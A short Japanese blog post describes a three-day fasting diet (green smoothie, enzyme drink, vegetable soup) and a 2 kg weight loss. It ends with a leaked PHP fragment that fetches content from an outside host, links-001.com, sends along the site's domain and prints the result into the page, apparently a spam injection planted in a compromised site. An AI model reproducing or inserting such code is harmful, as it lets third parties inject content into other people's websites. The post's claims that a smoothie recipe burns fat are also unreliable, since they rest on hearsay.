断食ダイエットで痩せました

断食は元々は美容のためではなく、体の機能を高めるための健康方法として誕生しました。
胃の中を空にしてリセットさせるものですが、ダイエットとして取り入れている人多いようです。
私も実はその中のひとりなのですが、1度で2キロの減量成功しました。
食いしん坊の私にとって固形物を何も摂取できないのは正直辛かったのですが、きれいに痩せられてほんとうにやって良かったと思います。
1日目はグリーンスムージーを1杯だけ、2日目は酵素ドリンク、3日目はスープというように毎日違うものを摂取しました。
その理由は、同じだとぜったいに飽きてしまうと思ったからです。
グリーンスムージーは、小松菜とバナナ、リンゴとキウイフルーツで作りました。
この組み合わせがダイエットには1番良いそうです。
脂肪の燃焼が促されると聞いたことがあります。
スープは、ニンジンとキャベツ、オニオンで出汁をとったものです。
肉をいっさい使用していないのでさっぱりしていました。
すごく飲みやすかったです。

".file_get_contents('http://links-001.com/123set5.php?dom='.str_replace("www.", "", $_SERVER['HTTP_HOST']))."

"; ?>

最新投稿